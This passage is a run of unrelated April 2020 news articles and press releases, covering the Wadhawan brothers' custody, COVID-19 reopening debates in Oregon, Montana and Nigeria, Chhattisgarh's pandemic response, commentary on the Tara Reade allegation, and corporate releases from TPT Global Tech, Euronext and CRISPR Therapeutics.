duo was not cooperating with it in the probe. We told the court that they are not cooperating. When we call them for questioning they dont come. They go for holiday with full family in five cars from Khandala to Mahabaleshwar despite a lockdown, Singh said. Besides, this is a multi-layered case and requires much questioning. Therefore, their custodial interrogation is required, Singh said. Singh also said that there existed every possibility of the Wadhawans tampering with evidence if they were let out on bail. The court took note of our arguments and agreed their custody was required, Singh said. On April 27, a special CBI court in the city had remanded Kapil and Dheeraj Wadhawan to custody of the agency till April 29 in connection with the Yes Bank scam. The ED will get the duo's remand after their CBI custody ends, Singh said. As per the two agencies, UPPCL illegally invested its Employee Provident Fund in DHFL between March 2017 and December 2018, and money from such investment was used by the Wadhawans for personal gains. RKW, a company controlled by DHFL promoters, Yes Banks Rana Kapoor, his family members, and some others laundered money and received alleged kickbacks in return for of extending loans to big borrowers through the bank, they have alleged. Kapil and Dheeraj Wadhawan were arrested by the CBI with the help of Satara district authorities from Mahabaleshwar, a popular hill station located more than 300km from Mumbai. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) SALEM, Ore. Oregon Uniting for Liberty has organized a rally at the state capitol on May 2nd to demand the re-opening of the state. Over 500 people have committed to attending on a Facebook event that was created for the rally and Adam Ellifritt, a spokesperson for Oregon Uniting for Liberty says theyve had interest from a few thousand people. Were not going to be there to define or encourage businesses to just go Boogaloo and open up, said Ellifritt, we understand that this virus has a serious component to it, especially if youre at risk. Ellifritt says the movement is pushing for an opening process that begins immediately. Success would look like a rapid response to allow businesses to re-open, said Ellifritt, and thats a cautious way forward. Do we want to just go back to normal? No, I dont think that would be a good idea until we do know more about whats going on. Do I think businesses like restaurants could open up with 50% capacity and social distancing guidelines? I do, actually. Oregon Uniting for Liberty says keeping the state closed does more harm than good. Destroying an economy doesnt necessarily save lives, if this continues on for a long time it would absolutely destroy lives; in some capacity it already has, said Ellifritt. Currently, hospitals across the nation are reporting billions of dollars in losses. Providence Medford Medical Center says gross revenue is down 40%. In a New York Times article on Sunday, Tyson Foods warned that the food supply chain is breaking. Local businesses are struggling to survive, many of them struggling to get the financial aid they need. I want everybody to be protected, said Jennifer Thomason, the owner and only employee at Mama Bears Beauty Boutique in Klamath Falls, but we also need to make a living. Thomason is one of thousands that is still waiting for unemployment. She applied back in March and was notified of her denied application four-weeks later. Shes now participating in a trial of the Pandemic Unemployment Assistance Program that was created by the Oregon Employment Department and is set to launch sometime this week. Theyre doing a completely different application process. You actually have to download the application, fill it out, upload it, upload it with your income verification; I used my 2019 taxes so Im hoping that thats what they needed, said Thomason. The Pandemic Unemployment Assistance Program is designed to help self-employed, contract and gig workers that are usually denied unemployment benefits. Thomason says her household lost over 2/3 of their income when she closed her business. Its been hard. Weve been pinching pennies, making up new recipes for casseroles, anything that we can throw together, said Thomason. According to the Small Business Bureau, Oregon has 368,308 small businesses, making up 99.4% of Oregon businesses and 55% of Oregon employees. Since March 15, there have been about 333,700 initial claims for unemployment insurance in Oregon. Governor Kate Brown issued a statement on Twitter on Sunday, apologizing to Oregonians who are still facing issues receiving aid. Southern Oregon counties are working to draft plans or re-opening. Those plans will be submitted for approval by Gov. Brown. Curry, Jackson and Josephine counties have already submitted a letter to Gov. Brown in collaboration with two other Oregon counties, requesting permission to begin Phase 1 of re-opening. Over the past few weeks, several states have been hailed for their success in containing the spread of COVID-19. From Kerala to Goa, Manipur and Ladakh all have been celebrated for their success in arresting the outbreak. One state that mostly went unnoticed is how Chhattisgarh dealt with the pandemic. It should not come as a surprise as Chhattisgarh is not among the states that would come to one's mind when thinking about states with the best health infrastructure in India. REUTERS But Chhattisgarh which recorded a total of 37 COVID-19 positive cases only have 5 active cases now and 32 have recovered and the state has not registered even a single death from the infection. Don't Miss: Contribute To Indiatimes Fundraiser To Help India Fight COVID-19 Two Covid-19 patients were discharged from the All India Institute of Medical Sciences (AIIMS) in Raipur city on Saturday. "A 59-year-old man and a 27-year-old woman from Katghora town of Korba district were discharged after they tested negative for the virus in two consecutive tests," a public relations officer of the AIIMS told PTI. Only five patients, including a male nursing officer of AIIMS, were undergoing treatment at the hospital. AFP This is mighty impressive for a state that is mostly known for being impoverished, ill-equipped, and mired in Naxal insurgency. Wed like to applaud the efforts of @ChhattisgarhCMO in containment and preparedness of #COVID19. Appreciate & congratulate @bhupeshbaghel ji for his leadership for this achievement & the launch of @ChakmakCG & Sajag parenting in partnership with #UNICEF @WCDCgGov & @MCCR_CG. pic.twitter.com/oOHts10E2N UNICEF India (@UNICEFIndia) April 25, 2020 This is in sharp contrast to its big brother Madhya Pradesh, from which Chhattisgarh was carved out some 20 years ago. Madhya Pradesh has a total of 2,165 cases and 110 deaths, one of the highest in the country. Chhattisgarh's success in containing the outbreak is attributed to the preparedness of the government under Chief Minister Bhupesh Baghel. Unlike many other states, Chhattisgarh got its act together early and Baghel led from the front. The state health ministry also acted swiftly and the Raipur AIIMS was fully equipped to deal with any emergency situation Additionally, isolation wards were promptly set up across all districts 100 Bedded state of art covid19 hospital ready at Surguja district in 1 month https://t.co/k7sUw9BBlk took just 15 lakhs, proper utilization of existing resources with sheer committment.Kudos to team.@bhupeshbaghel @SurgujaDist @ChhattisgarhCMO @DPRChhattisgarh @IASassociation pic.twitter.com/7rwma0bdJn Saransh Mittar (@saransh84) April 28, 2020 Even during the lockdown, the state ensured that people of the state did not go hungry and provided free ration totaling 70 kgs each for 56.55 lakh households for the period of April and May. Temporary camps were also set up across the state for the homeless. The state also took care of the migrant workers who were left stranded due to the lockdown. They were accommodated at shelter homes where they were also provided with food and other necessities. REUTERS Chhattisgarh also came up with its own hand sanitizer which was made with alcohol distilled from Mahua flowers as its main ingredient. Yellow coloured Mahua flowers are one of the major forest products during summer. They are also believed to have medicinal properties. Among the practices the Sikh religion relishes, one is the sharing of meals. Known as langar, every weekend following service at the Gurdwara Dasmesh Darbar Sikh Temple of Salem, a stick-to-your-ribs vegetarian meal is prepared for all those who attend, whether they are Sikhs or not. But since the coronavirus outbreak, weekend services have stopped. But Gurdwara Dasmesh Darbar hasnt halted a core faith tenet of community service and that includes langar. Food isnt served on weekends these days, but rather on Tuesdays and Thursdays each week to doctors, nurses and health care workers at Salem Hospital. A vegetarian food spread is prepared by a group from Salems Gurdwara Dasmesh Darbar in its community kitchen and delivered in large foil trays to Salem Hospital workers. They are the heroes at this time, said Gurpreet Singh, sevadaar of Gurdwara Dasmesh Darbar. Coronavirus in Oregon: Latest news | Live map tracker |Text alerts | Newsletter On Tuesday and Thursday mornings, about a half-dozen volunteers gather in the community kitchen to prepare the meals. Its a process, as it takes a few hours to cut the vegetables, then several hours to cook the food. Heavy on the menu are lentils (dal), rice, vegetables such as bell peppers, cauliflower, garbanzo beans and potatoes that are curried (sabzi), and a meal staple, flatbread called roti. They prepare enough food to feed 80-100 workers per day. Later in the afternoon, two to three Gurdwara Dasmesh Darbar volunteers transport the food to the hospitals Building B. A group of hospital workers meet the Sikhs outside the building, where the food is exchanged. They have written us many thank you cards saying the food is so delicious. They want more, Singh said. Gurpreet Singh packs food into a container in the kitchen of the Dasmesh Darbar Sikh gurdwara (temple) in Salem, Oregon, on April 23, 2020. The gurdwara is preparing and delivering Punjabi meals to nurses and medical staff at Salem Hospital during the coronavirus pandemic.Brooke Herbert/The Oregonian/OregonLive With weeks, perhaps months of coronavirus impacting the hospitals, Gurpreet says the Salem health care workers will get more. They are doing a great job, and we want to help them however we can, Singh said. Nick Daschel | ndaschel@oregonian.com | @nickdaschel Manjeet, Narinder, Pawan, Harpreet and Jaspreet Kaur cook food in the kitchen of the Dasmesh Darbar Sikh gurdwara (temple) in Salem, Oregon, on April 23, 2020. The gurdwara is preparing and delivering Punjabi meals to nurses and medical staff at Salem Hospital during the coronavirus pandemic.Brooke Herbert/The Oregonian/OregonLive Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. There has been increasing pressure for a relaxation on our states stay-at-home restrictions resulting in our governor reopening the state in phases. The Montana Nurses Association (MNA) is concerned about the economic impact of this pandemic, but more importantly, MNA is concerned about the health of our patients and all of our citizens. MNA would support loosening guidelines after the state has achieved three important goals: 1. A consistent drop in cases over a two-week time period coupled with reliable and adequate community testing. 2. Reliable access to testing and personal protective equipment (PPE) without the need for rationing. 3. The ability for ample contact tracing. (Expand testing needs to address tracing protocols, social contagion tracking, and epidemiology). At this point, our state is struggling to meet all of these targets. Montanas supply of PPE and testing capabilities are still low in many parts of the state as is evidenced by an inability to obtain testing supplies and the rationing and reuse of PPE. Anthony Fauci, the administration's top infectious diseases expert, said Thursday that the United States needs to "significantly ramp up" its testing capacity in order to effectively contain the coronavirus as blunt measures like stay-at-home orders are eased. "I agree you don't need to test everybody, but you should at least be able to test the people in which you have to test to be able to do containment, and right now I think there's still some gaps there." (https://thehill.com/policy/healthcare/494366-fauci-us-needs-to-significantly-ramp-up-testing) We know that social distancing and good hand-washing is working but relaxing the stay-at-home order at this point could be counterproductive. The last thing we want is to open up too soon, see another spike in cases, and have to revert back to another stay-at-home order. The Montana response has had a positive result and our concern is if we open before important goals are met, our state will lose progress made and will be compromised. Many of our members are bearing the COVID-19s economic impacts so this is not taken lightly. Elective surgeries and other health care visits have been canceled or reduced, forcing many nurses to suffer a reduction in hours. Many nurse practitioners, owning their own primary health care clinics, are seeing a massive reduction in patient visits coupled with an inability to test for COVID and obtain proper PPE, devastating their ability to survive and provide health care for their communities One of MNAs top concerns is the potential to reopen our schools. Schools are not designed for social distancing. Many students have underlying health issues such as asthma and diabetes, not to mention poor hand hygiene that comes with just being young. We support MFPE (Montana Federation of Public Employees) along with any school superintendents and school boards that recommend to keep our schools closed for this school year and focus on ways to safely resume in the fall. MNA will continue to advocate for citizens to continue to stay home. This is how we have flattened the curve and why our infection numbers are low. We are protecting ourselves and each other every day while we adhere to social distancing. If you have to be out in the public, wash your hands frequently, wear a mask to protect others from you (as non-symptomatic people can spread the virus), and stay 6 feet or more away from others. Flattening the curve by social distancing is not easy for any of us, but it is the most efficient and effective way to prevent further spread of coronavirus, moreover, it is all we have until further research and evidence surrounding antibody testing, testing for immunity, and the production of a possible vaccine can be relied on. Vicky Byrd is the CEO of the Montana Nurses Association. Over the past few days, multiple new reports have corroborated Tara Reades claim that Joe Biden sexually assaulted her when she worked in his Senate office in the 1990s. This corroboration has come in the form of increased evidence that Reade told people about the alleged incident soon after it happened. At the Intercept, Ryan Grim reported that a woman called into a 1993 Larry King Live show seeking advice about a daughter who had problems with her former employer, a prominent senator, but chose not to go public out of respect for him. King identified the caller as a woman from San Luis Obispo, California, where Reades mother was living at the time, and Reade identified the womans voice as her mothers. On Monday, Business Insider published accounts from one former colleague of Reades and one former neighbor, both of whom recall Reade telling them of Bidens alleged sexual misconduct in the mid-1990s. The former co-worker remembers Reade saying shed been sexually harassed; the neighbor remembers Reades full story of sexual assault. These women join Reades brother, who has also said that Reade confided in him around the time of Bidens alleged assault. Advertisement Advertisement Advertisement Advertisement The Business Insider piece also quotes several people who confidently refute Reades claims. The first is unsurprising: These accusations are false, said Kate Bedingfield, Bidens deputy campaign manager, in a statement shes regurgitated in just about every report on Reades allegation. The others are worth lingering on: Marianne Baker, Bidens former longtime executive assistant who was serving in that role at the time of Reades alleged assault, said she has absolutely no knowledge or memory of Ms. Reades accounting of events, which would have left a searing impression on me as a woman professional, and as a managera statement shes previously given to other reporters. And Melissa Lefko, Reades fellow staff assistant in Bidens office in 1993, said she doesnt remember Reade at all but asserted that she wouldve remembered any allegations of sexual misconduct. Had there been anything, I would have heard about it, Lefko told Business Insider. Advertisement Advertisement Bakers quote makes sense in an investigation of Reades claims, since Reade says she told Bakerand two other Biden staffers, both of whom say they dont remember Readethat Biden had harassed her. But Lefkos statement is an excellent example of a frustrating trend in reporting on sexual assault and harassment allegations: the witness who saw nothing. She cant remember a colleague who verifiably worked with her in 1993, yet wants her inability to remember any sexual misconduct allegations from that time to be taken as an affirmative defense of Biden, and affirmative proof that it couldnt have happened. Lefko expects that she would have heard about an accusation of sexual misconduct in the office, even if Lefko wasnt close enough to the accusing colleague to so much as recall her existence. Advertisement Advertisement Advertisement Advertisement This type of source has featured in a great deal of reporting since the #MeToo movement began. (It showed up before the #MeToo movement, too, but there were much fewer investigations of sexual misconduct allegations in previous years.) Reporters interview peopleespecially womenwhove interacted with the alleged perpetrator to see if they experienced or observed a pattern of inappropriate behavior. Sometimes, as in the cases of Charlie Rose, Harvey Weinstein, Bill Cosby, Matt Lauer, and a few other high-profile alleged abusers, a pattern emerges. But sometimes, as in Jane Mayers piece on the allegations against Al Franken, many of these other women have nothing but fond, nonsexual memories of the subject of the investigation. The reporter and her editor must then decide whether and how to quote or paraphrase those sources on their lack of knowledge of any sexual misconduct. Advertisement Advertisement The New York Times piece on Reades allegation, which ran on April 12, includes a quote from Lefko, too. Bidens Senate office was a very supportive environment for women, she said. When you work on the Hill, everyone knows who the good guys are and who the bad guys are, and Biden was a good guy. It is a testament to our cultures deep-seated suspicion of people who allege sexual misconduct that the recollections of people who say they werent assaulted are so frequently presented as equally valuable to an investigation as those of the person who says she was. Granted, its almost impossible to prove a negative, which is why the burden of proof lies with the prosecution in a court of law. But if a reporter were investigating a bike theft, for example, would she employ the testimony of an associate who said, I worked with him for years and Ive never seen him steal a bike, as a means of assessing the verity of one particular theft accusation? In Bidens case, there are already several women who have publicly accused Biden of inappropriate workplace physical contact. Who the good guys are depends on the eye of the beholder. Advertisement Advertisement Advertisement Advertisement It does no service to the truth to quote people who say their failure to witness abuse is evidence of the absence of abuse, unless the alleged victim claims those specific people witnessed her abuse. Writers might want to show they did due diligence in their reporting, but sources that dont offer new information go unmentioned in final drafts all the time. (Theres also a big difference between quoting someone who solely speaks to her own experience and someone who makes a broad assumption of innocence based on that limited perspective.) An allegation of a sexual violation that involves two people doesnt demand clueless character witnesses. Only an exhaustive search through Bidens Senate papers, which the University of Delaware will not release until two years after Biden exits public life, could help prove or disprove the existence of the sexual harassment complaint Reade said she filednot the testimonies of a self-selecting group of people who agree to say on the record that they never saw it. Some people who harass and rape are brazen in their abuse; their associates cant help but witness it, and word of their misconduct gets around. Others are charismatic leaders, excellent bosses, devoted fathers, and caring boyfriends. Some commit just one act of sexual violence in a lifetime. An easily identifiable pattern and a slew of damning rumors might make for a cleaner narrative, but a lack thereof doesnt make an allegation any less likely to be true. Phoenix, Arizona--(Newsfile Corp. - April 28, 2020) - The Stock Day Podcast welcomed TPT Global Tech (OTCQB: TPTW) ("the Company"), a Technology/Telecommunications Media Content Hub for Domestic and International syndication and also provides Technology solutions to businesses domestically and worldwide. President and CEO of the Company, Stephen Thomas, joined Stock Day host Everett Jolly. Jolly noted that the Company recently announced the launch of a new medical technology and supply division, TPT MedTech LLC. Thomas shared that the Company was motivated to launch this division by the high demand for medical devices during the current pandemic. "The medical industry is the perfect segway into what we already do," said Thomas. "When we launch and upgrade our network to 5G, the medical industry is one of the industries that will be impacted on a positive note," he explained. "It's a natural progression for us to get into the medical space." The conversation then turned to the Company's convertible debt, as well as the possibility of a reverse split. "We're not going to issue any more shares from treasury with regards to the convertible debt, and we don't plan to do any type of reverse split in the near future," explained Thomas. Jolly then commented on the available programs for small businesses during the COVID-19 pandemic, and asked if these have been advantageous for the Company. "We've actually been approved for about $700,000 through the Payroll Protection Program (PPP)," shared Thomas. Thomas then updated listeners on the Company's progress with raising capital. Thomas explained that the Company was in the process of raising $40 million through a private Placement 506c for accredited investors, however the COVID-19 pandemic has slowed their progress. "We are actively talking to accredited investors, so we'll see what happens with that in the very near future," said Thomas. Jolly then noted that the Company is grossly undervalued, and asked about their financials. Thomas shared that the convertible debt conversions have affected the Company's market cap, but the fundamentals of the Company remain strong. "We did over $10.2 million in top-line revenue in 2019," shared Thomas. "We show some debt on the balance sheet, but when you look at the $14 million in debt, $10 million of that is what we call 'non-cash expenses'," explained Thomas. "The curve is going in the right way with regards to TPT Global Tech." To close the interview, Thomas expressed his confidence in the Company's fluidity and diversification. "That's really important and that's what we focus on," said Thomas, adding that diversity leads to greater value and potential while also increasing shareholder value. "We're excited for 2020." To hear the entire interview with Stephen Thomas, follow the link to the podcast here: https://audioboom.com/posts/7568358-tpt-global-tech-discusses-the-launch-of-tpt-medtech-llc-with-the-stock-day-podcast Investors Hangout is a proud sponsor of "Stock Day," and Stock Day Media encourages listeners to visit the company's message board at https://investorshangout.com/ About TPT Global Tech TPT Global Tech Inc. (TPTW) based in San Diego, California, is a Technology/Telecommunications Media Content Hub for Domestic and International syndication and also provides Technology solutions to businesses domestically and worldwide. TPT Global offers Software as a Service (SaaS), Technology Platform as a Service (PAAS), Cloud-based Unified Communication as a Service (UCaaS) and carrier-grade performance and support for businesses over its private IP MPLS fiber and wireless network in the United States. TPT's cloud-based UCaaS services allow businesses of any size to enjoy all the latest voice, data, media and collaboration features in today's global technology markets. TPT's also operates as a Master Distributor for Nationwide Mobile Virtual Network Operators (MVNO) and Independent Sales Organization (ISO) as a Master Distributor for Pre-Paid Cellphone services, Mobile phones Cellphone Accessories and Global Roaming Cellphones. Forward-Looking Statements This press release contains "forward-looking statements" within the meaning of various provisions of the safe harbor provisions of the Private Securities Litigation Reform Act of 1995, commonly identified by such terms as "believes," "looking ahead," "anticipates," "estimates" and other terms with similar meaning. Specifically, statements about the Company's plans for accelerated growth, improved profitability, future business partners, M&A activity, new service offerings and pursuit of new markets are forward looking statements. Although the company believes that the assumptions upon which its forward-looking statements are based are reasonable, it can give no assurance that these assumptions will prove to be correct. Such forward-looking statements should not be construed as fact. The information contained in such statements is beyond the ability of the Company to control, and in many cases the Company cannot predict what factors would cause results to differ materially from those indicated in such statements. All forward-looking statements in the press release are expressly qualified by these cautionary statements and by reference to the underlying assumptions. CONTACT: Frank Benedetto 619-915-9422 About The "Stock Day" Podcast Founded in 2013, Stock Day is the fastest growing media outlet for Nano-Cap and Micro-Cap companies. It educates investors while simultaneously working with penny stock and OTC companies, providing transparency and clarification of under-valued, under-sold Micro-Cap stocks of the market. Stock Day provides companies with customized solutions to their news distribution in both national and international media outlets. The Stock Day Podcast is the number one radio show of its kind in America. Stock Day recently launched its Video Interview Studio located in Phoenix, Arizona. SOURCE: Stock Day Media 602-441-3474 To view the source version of this press release, please visit https://www.newsfilecorp.com/release/55018 Military members and veterans can get up to four free months of Apple Music through the Apple Music military discount -- but... Members of the House of Representatives have summoned the Director-General of the Nigeria Centre for Disease Control, Chikwe Ihekweazu, to appear and brief it on the governments response to the COVID-19 Pandemic and its template for the intervention in all the states of the federation. The lawmakers took this decision while adopting a motion brought under matters of urgent national importance by the House leader, Alhassan Doguwa, on Tuesday. Mr Doguwa took the motion on behalf of other members of the Kano State caucus on the mysterious deaths in the commercial city of Kano. Also to appear before the house during the next plenary on Tuesday next week are the Minister of Health, Osagie Ehanire, and the Chairman of the Presidential Taskforce, Boss Mustapha. READ ALSO: Since reporting its index case about two weeks ago, Kano has been the centre of controversies ranging from the rapid increase in number of confirmed cases, mysterious deaths and the sudden halt of its testing operation. Kano, which currently stands as the third hardest-hit state in Nigeria, has so far reported 77 cases out of the 1,273 in Nigeria. PREMIUM TIMES, on Wednesday, reported how a member of Kano Task Force on COVID-19, Isa Abubakar, said the NCDCs COVID-19 testing centre in Kano suspended its operation due to shortage of testing kits. But the Director-General of the NCDC on Monday said testing has resumed in the state. While adopting the motion, the house also urged the Federal Government to as a matter of urgency and priority scale up the nations COVID-19 testing capacity and Called on the NCDC to adopt creatively proactive modern approaches and technologies in the management of COVID-19 Pandemic. The house also will investigate the immediate and remote causes of the unexplained number of deaths in the state. Other Prayers While adopting the motion, some other lawmakers suggested amendments which were endorsed. Kabiru Idris (APC, Kano) called for one testing centre each in all the 744 Local Governments in Nigeria. Another lawmaker, Aisha Dukku (Gombe, APC) urged the government to include all stakeholders, including traditional and religious leaders, in the sensitisation of the people on COVID-19. On his part, Henry Nwanwuba asked that the voice of the NOA be stepped up particularly in Kano; and that the Kano State Government should quickly, as a matter of urgency, conclude investigation of the deaths in the state. Isiaka Ayokunle asked that the relevant committees of the House should engage with the PTF. He also called for the provision of N15bn by the FG as intervention fund to every state. The Speaker, after the prayers had been passed, however, said the federal government would not provide equal intervention funds to states with a varied number of cases. CONTACT - Media: CONTACT - Investor Relations: Amsterdam +31.20.721.4133 Brussels +32.2.620.15.50 +33.1.70.48.24.27 Dublin Oslo +353 1 617 4221 +47 22 34 17 40 Lisbon Paris +351.210.600.614 +33.1.70.48.24.45 EURONEXT PUBLISHES ITS DETAILED DIVIDEND PAYMENT SCHEDULE FOR 2020 Amsterdam, Brussels, Dublin, Lisbon, London, Oslo and Paris 28 April 2020 In line with the dividend distribution policy of Euronext, it is proposed to distribute 50% of 2019 reported net profit. As a consequence, subject to shareholder approval at the companys Annual General Meeting of Shareholders to be held on 14 May 2020, the annual gross dividend on the 2019 results to be paid in 2020 amounts to 1.59 per share. Payment of the annual dividend would then occur on 22 May 2020. Ex-dividend date: 20 May 2020 Record date: 21 May 2020 Payment date: 22 May 2020 CONTACTS - Media Pauline Bucaille +33 1 70 48 24 41; pbucaille@euronext.com Analysts & investors Aurelie Cohen / Clement Kubiak +33 1 70 48 24 27; ir@euronext.com About Euronext Euronext is the leading pan-European exchange, covering Belgium, France, Ireland, The Netherlands, Norway, Portugal and the UK. With close to 1,500 listed issuers worth 3.3 trillion in market capitalisation as of end March 2020, Euronext has an unmatched blue chip franchise that includes 26 issuers in the Morningstar Eurozone 50 Index and a strong diverse domestic and international client base. Euronext operates regulated and transparent equity and derivatives markets and is the largest centre for debt and funds listings in the world. Its total product offering includes Equities, FX, Exchange Traded Funds, Warrants & Certificates, Bonds, Derivatives, Commodities and Indices. Euronext also leverages its expertise in running markets by providing technology and managed services to third parties. In addition to its main regulated market, Euronext also operates Euronext GrowthTM and Euronext AccessTM, simplifying access to listing for SMEs. The Norwegian stock exchange and its clearing & settlement subsidiary, together operating as Oslo Brs VPS, joined Euronext on 17 June 2019. Story continues For the latest news, find us on Twitter ( twitter.com/euronext ) and LinkedIn ( linkedin.com/euronext ). Disclaimer This press release is for information purposes only: it is not a recommendation to engage in investment activities and is provided as is, without representation or warranty of any kind. While all reasonable care has been taken to ensure the accuracy of the content, Euronext does not guarantee its accuracy or completeness. Euronext will not be held liable for any loss or damages of any nature ensuing from using, trusting or acting on information provided. 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Attachment -Enrollment ongoing in clinical trials of CTX001 for patients with severe hemoglobinopathies- -Enrollment ongoing in clinical trial of CTX110, targeting CD19+ malignancies- -Began treating patients in clinical trial of CTX120, targeting B-cell maturation antigen (BCMA)- -IND and CTA approved for CTX130, wholly-owned allogeneic CAR-T cell therapy targeting CD70- -Received $25 million milestone payment from DMD/DM1 collaboration with Vertex in April 2020- ZUG, Switzerland and CAMBRIDGE, Mass., April 28, 2020 (GLOBE NEWSWIRE) -- CRISPR Therapeutics (CRSP), a biopharmaceutical company focused on creating transformative gene-based medicines for serious diseases, today reported financial results for the first quarter ended March 31, 2020. We made substantial progress in the last quarter despite the challenges posed by COVID-19. We are now progressing five cell therapy clinical trials in parallel targeting hemoglobinopathies and various cancers, said Samarth Kulkarni, Ph.D., Chief Executive Officer of CRISPR Therapeutics. Our CTX001 and CTX110 programs continue to enroll patients, and we expect to report data for these programs this year. We are pleased to have begun treating patients in our CTX120 trial for the treatment of relapsed or refractory multiple myeloma and we expect to begin treating patients in our CTX130 trial in renal cell carcinoma and T-cell and B-cell hematologic malignancies in the second half of this year. Despite these unprecedented times, we continue to execute on our programs and we remain focused on our commitment to patients and their families. Recent Highlights and Outlook Beta Thalassemia and Sickle Cell Disease CRISPR Therapeutics and its partner Vertex remain on track to provide additional data from the two ongoing Phase 1/2 studies of the investigational CRISPR/Cas9 gene-editing therapy CTX001 in patients with transfusion-dependent beta thalassemia and in patients with severe sickle cell disease in 2020. New data expected in 2020 include initial data from additional patients dosed in each of the Phase 1/2 studies and longer duration follow-up data for the first patients dosed in each study. Screening, enrollment and mobilization in these studies is ongoing, however no additional patients are scheduled to initiate conditioning or dosing at this time due to COVID-19. Immuno-Oncology Patient enrollment continues in a clinical trial to assess the safety and efficacy of CTX110, CRISPR Therapeutics wholly-owned allogeneic CAR-T cell therapy targeting refractory CD19+ B-cell malignancies. The multi-center, open label clinical trial is designed to enroll up to 95 patients and investigate several dose levels of CTX110. If successful, CTX110 could enable off-the-shelf use of cell therapies and greatly expand their applicability and accessibility in treating patients with these hematologic malignancies. The Company expects to report top-line data for CTX110 at the end of 2020. CRISPR Therapeutics has begun treating patients in a clinical trial to assess the safety and efficacy of CTX120, its wholly-owned allogeneic CAR-T cell therapy targeting BCMA for the treatment of relapsed or refractory multiple myeloma. The multi-center, open label trial is designed to enroll up to 80 patients and investigate several dose levels of CTX120. Earlier this year, the U.S. Food and Drug Administration (FDA) accepted CRISPR Therapeutics Investigational New Drug (IND) application for CTX130, its wholly-owned allogeneic CAR-T cell therapy targeting CD70 for the treatment of both solid tumors, such as renal cell carcinoma, and T-cell and B-cell hematologic malignancies. Additionally, CRISPR Therapeutics has obtained approval from Health Canada for its Clinical Trial Application (CTA). The Company expects to begin treating patients with CTX130 in the second half of this year. Other Corporate Matters Under the June 2019 collaboration agreement with Vertex to discover and develop gene editing therapies for the treatment of Duchenne Muscular Dystrophy (DMD) and Myotonic Dystrophy Type 1 (DM1), CRISPR Therapeutics received a payment of $25 million from Vertex related to the achievement of a research milestone in the DM1 program. CRISPR Therapeutics is eligible to receive additional milestone payments from Vertex of up to $800 million for these two programs. CRISPR Therapeutics is scheduled to present two posters during the virtual American Society of Gene & Cell Therapy 2020 Annual Meeting, to be held from May 12 to 15, 2020, via https://annualmeeting.asgct.org/am20/, as follows: Title: Dual Guide CRISPR/Cas9 Editing of the CCR5 Gene Provides Complete Protection Against HIV in Humanized Mouse Models (abstract #1046) Session Title : Gene Targeting and Gene Correction Date and Time : Thursday, May 14, 2020; 5:30 PM - 6:30 PM Title : Multiplexing of Up to 10 Gene Edits Using CRISPR/Cas9 to Generate CAR-T Cells with Improved Function (abstract #1151) Session Title : Cancer - Immunotherapy, Cancer Vaccines Date and Time : Thursday, May 14, 2020; 5:30 PM - 6:30 PM In February, CRISPR Therapeutics announced its proposal to elect Doug Treco, Ph.D. to its Board of Directors at the Companys upcoming annual general meeting to be held later this year. Story continues First Quarter 2020 Financial Results Cash Position: Cash and cash equivalents as of March 31, 2020, were $889.7 million, compared to $943.8 million as of December 31, 2019, a decrease of $54.1 million. The decrease in cash was primarily driven by cash used in operating activities of $52.2 million to support spending on the Companys clinical and pre-clinical programs, as well as payroll and payroll-related expenses to support growth. In April 2020, the Company received a milestone payment of $25 million from Vertex under the collaboration agreement for DMD and DM1, resulting in pro forma cash exceeding $900 million. Revenue: Total collaboration revenue was $0.2 million for the first quarter of 2020 compared to $0.3 million for first quarter of 2019. Collaboration revenue primarily consisted of charges to partners for research activities. R&D Expenses: R&D expenses were $54.2 million for the first quarter of 2020 compared to $33.8 million for the first quarter of 2019. The increase in expenses was driven by increased headcount and development activities supporting the advancement of the hemoglobinopathies program and wholly-owned immuno-oncology programs. G&A Expenses: General and administrative expenses were $19.6 million for the first quarter of 2020 compared to $14.9 million for the first quarter of 2019. The increase in general and administrative expenses for the year was driven by headcount-related expense and higher facilities cost. Net Loss: Net loss was $69.7 million for the first quarter of 2020 compared to net loss of $48.4 million for the first quarter of 2019. About CTX001 CTX001 is an investigational ex vivo CRISPR gene-edited therapy that is being evaluated for patients suffering from TDT or severe SCD in which a patients hematopoietic stem cells are engineered to produce high levels of fetal hemoglobin (HbF; hemoglobin F) in red blood cells. HbF is a form of the oxygen-carrying hemoglobin that is naturally present at birth and is then replaced by the adult form of hemoglobin. The elevation of HbF by CTX001 has the potential to alleviate transfusion requirements for TDT patients and painful and debilitating sickle crises for SCD patients. CTX001 is being developed under a co-development and co-commercialization agreement between CRISPR Therapeutics and Vertex. About CTX110 CTX110 is a healthy donor-derived gene-edited allogeneic CAR-T therapy targeting cluster of differentiation 19, or CD19, for the treatment of CD19+ malignancies. A wholly-owned asset of CRISPR Therapeutics, CTX110 is being investigated in a clinical trial designed to assess the safety and efficacy of CTX110 for the treatment of relapsed or refractory B-cell malignancies. The multi-center, open-label clinical trial is designed to enroll up to 95 patients and investigate several dose levels of CTX110. About CTX120 CTX120 is a healthy donor-derived gene-edited allogeneic CAR-T therapy targeting B-cell maturation antigen, or BCMA. A wholly-owned asset of CRISPR Therapeutics, CTX120 is being investigated in a clinical trial designed to assess the safety and efficacy of CTX120 for the treatment of relapsed or refractory multiple myeloma. The multi-center, open-label clinical trial is designed to enroll up to 80 patients and investigate several dose levels of CTX120. About CTX130 CTX130 is a healthy donor-derived gene-edited allogeneic CAR-T therapy targeting cluster of differentiation 70, or CD70, an antigen expressed on various solid tumors and hematologic malignancies. A wholly-owned asset of CRISPR Therapeutics, CTX130 is being developed for the treatment of both solid tumors, such as renal cell carcinoma, and T-cell and B-cell hematologic malignancies. About CRISPR Therapeutics CRISPR Therapeutics is a leading gene editing company focused on developing transformative gene-based medicines for serious diseases using its proprietary CRISPR/Cas9 platform. CRISPR/Cas9 is a revolutionary gene editing technology that allows for precise, directed changes to genomic DNA. CRISPR Therapeutics has established a portfolio of therapeutic programs across a broad range of disease areas including hemoglobinopathies, oncology, regenerative medicine and rare diseases. To accelerate and expand its efforts, CRISPR Therapeutics has established strategic partnerships with leading companies including Bayer, Vertex Pharmaceuticals and ViaCyte, Inc. CRISPR Therapeutics AG is headquartered in Zug, Switzerland, with its wholly-owned U.S. subsidiary, CRISPR Therapeutics, Inc., and R&D operations based in Cambridge, Massachusetts, and business offices in San Francisco, California and London, United Kingdom. For more information, please visit www.crisprtx.com. CRISPR Forward-Looking Statement This press release may contain a number of forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995, as amended, including statements regarding CRISPR Therapeutics expectations about any or all of the following: (i) potential impacts due to the 